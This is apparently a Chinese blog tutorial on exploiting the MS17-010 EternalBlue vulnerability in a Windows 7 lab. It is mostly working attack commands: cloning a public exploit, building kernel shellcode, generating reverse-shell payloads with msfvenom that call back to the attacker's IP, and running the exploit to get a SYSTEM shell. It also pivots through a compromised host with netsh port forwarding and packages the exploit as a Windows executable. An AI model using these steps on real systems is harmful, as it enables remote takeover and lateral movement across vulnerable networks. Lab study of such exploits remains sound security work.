如何使用python来利用MS17-010漏洞。
可参考这篇文章,利用Worawit Wang大神写的利用代码和shellcode.
MS17-010 EternalBlue Manual Exploitation (danielantonsen.com)
分析环境:
-
Kali-Linux2021.2 IP:192.168.182.142
-
windows7 6.1.7601 Service Pack 1 Build 7601 x86 IP:192.168.182.144
注意关闭windows防火墙,保证两台主机能够相互ping通。
生成shellcode
在kali系统中,打开shell,下载Worawit Wang大神的利用代码。
$ git clone https://github.com/worawit/MS17-010.git
查看内核态的shellcode
$ ls MS17-010/shellcode | grep shellcode
eternalblue_kshellcode_x64.asm
eternalblue_kshellcode_x86.asm
进入shellcode目录,编译内核shellcode
对于x64
nasm -f bin eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin
对于x86
nasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin
使用msfvenom生成用户层的shellcode
使用msfvenom生成用户层的shellcode
对于x64
msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=192.168.182.142 --platform windows -a x64 --format raw -o sc_x64_payload.bin
对于x86
msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.182.142 --platform windows -a x86 --format raw -o sc_x86_payload.bin
使用cobalttrike生成用户层的shellcode
如下图所示,使用客户端连接teamserver服务器,在菜单中点击攻击->生成后门->payload生成器,注意输出格式选择Raw,会生成编译好的shellcode.
将内核层和应用层的shellcode链接在一起
对于x64
cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin
对于x86
cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin
使用脚本eternalblue_sc_merge.py将x64和x86的shellcode整合成一个二进制文件,这步是可选的
python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
此时我们的目录结构如下所示
┌──(kali㉿kali)-[~/Desktop/MS17-010-master/shellcode]
└─$ ll
-rw-r--r-- 1 kali kali 20305 Mar 29 2018 eternalblue_kshellcode_x64.asm
-rw-r--r-- 1 kali kali 19862 Mar 29 2018 eternalblue_kshellcode_x86.asm
-rw-r--r-- 1 kali kali 1589 Mar 29 2018 eternalblue_sc_merge.py
-rw-r--r-- 1 kali kali 2203 Oct 15 03:36 sc_all.bin
-rw-r--r-- 1 kali kali 1232 Oct 15 03:34 sc_x64.bin
-rw-r--r-- 1 kali kali 772 Oct 15 03:30 sc_x64_kernel.bin
-rw-r--r-- 1 kali kali 460 Oct 15 03:31 sc_x64_payload.bin
-rw-r--r-- 1 kali kali 962 Oct 15 03:34 sc_x86.bin
-rw-r--r-- 1 kali kali 638 Oct 15 03:30 sc_x86_kernel.bin
-rw-r--r-- 1 kali kali 324 Oct 15 03:32 sc_x86_payload.bin
利用漏洞
使用wireshark抓包,抓包过滤器tcp && host 192.168.182.144 && 192.168.182.142 &&(port 445 || port 443)
漏洞的利用脚本依赖python2环境,需要安装impacket包的早期版本,因为较新的版本已经不支持Python2了。
pip2 install impacket==0.9.15
使用python利用漏洞,获取靶机的shell,还是system权限。
python eternalblue_exploit7.py 192.168.182.144 shellcode/sc_x86.bin
使用端口转发利用ms17010
现在我们考虑这样一种场景,用户网的入口交换机上禁用了445端口,我们已经拿到了内网中一台windows终端的权限,想要利用这台终端为跳板,攻击同网段内其它有永恒之蓝漏洞的主机。
首先在跳板机上配置端口转发策略
windows中配置端口转发
开启iphlpsvc服务 net start iphlpsvc
配置端口转发 netsh interface portproxy add v4tov4 listenport=443 listenaddress=0.0.0.0 connectaddress=192.168.182.144 connectport=445
查看配置 netsh interface portproxy show all
查看端口是否打开 netstat -ano | findstr 80
使用完毕后删除配置 netsh interface portproxy delete v4tov4 listenport=80 listenaddress=0.0.0.0
注意:如果该命令未返回任何内容并且通过netsh interface portproxy进行端口转发不成功,则请确保iphlpsvc(IP Helper)服务当前已在你的系统上运行
可参考 如何在Window中进行TCP端口转发(Port Forwarding)_tcp port forwarding-优快云博客
在这里,将攻击流量从跳板机的443端口转发到目标到445端口上,需要将python脚本修改一下,很简单,将eternalblue_exploit7.py中conn = smb.SMB(target, target)
替换为 smb.SMB(target, target,sess_port=PORT)
,其中PORT为要使用的端口,在smb.SMB类的定义中,将sess_port默认设置为445,也可以显式指定为其它的端口。
将python代码打包成exe
要想将上面的漏洞利用代码打包成exe程序在windows环境上使用,可以使用pyinstaller工具对python代码进行打包。worawit大神的代码是基于python2.7环境,我们使用下面的环境对代码进行打包。
windows 7 x86 + python2.7.16
然后安装下面这些第三方依赖库
Package Version
----------- -------
distribute 0.7.3
impacket 0.9.15
pip 20.3.4
PyInstaller 2.1
pywin32 228
setuptools 40.6.2
打包命令
pyinstaller -F xxx.py
下一步有空的话,详细分析一下Worawit Wang大神的shellcode.
参考资料
- MS17-010 EternalBlue Manual Exploitation (danielantonsen.com)
- Kali Python2.7安装pip2和模块方法_kali安装pip2-优快云博客
- Kali更新源-优快云博客
- Sysenter/Kifastcallentry hook 检测与恢复 - zbility - 博客园 (cnblogs.com)
- 简单Hook SYSENTER_syscall sysenter-优快云博客
- [原创]rootkit ring3进ring0之门系列[一] – 调用门-软件逆向-看雪-安全社区|安全招聘|kanxue.com
- [原创]rootkit ring3进ring0之门系列[二] – 中断门-软件逆向-看雪-安全社区|安全招聘|kanxue.com
- [原创]rootkit hook之[六] – sysenter Hook-软件逆向-看雪-安全社区|安全招聘|kanxue.com
- bluekeep/bluekeep_kshellcode_x86.asm at master · 0xeb-bp/bluekeep · GitHub
- [原创] 经典重现:永恒之蓝内核态Shellcode分析 (f5.pm)
- Fernweh (wohin.me)
- ring0下的 fs:[124]_nsfs124-优快云博客
- 驱动开发:内核中进程与句柄互转 - 知乎 (zhihu.com)
- PyInstaller与Python版本兼容性及下载指南-百度开发者中心 (baidu.com)
- Python for Windows Extensions - Browse /pywin32/Build 220 at SourceForge.net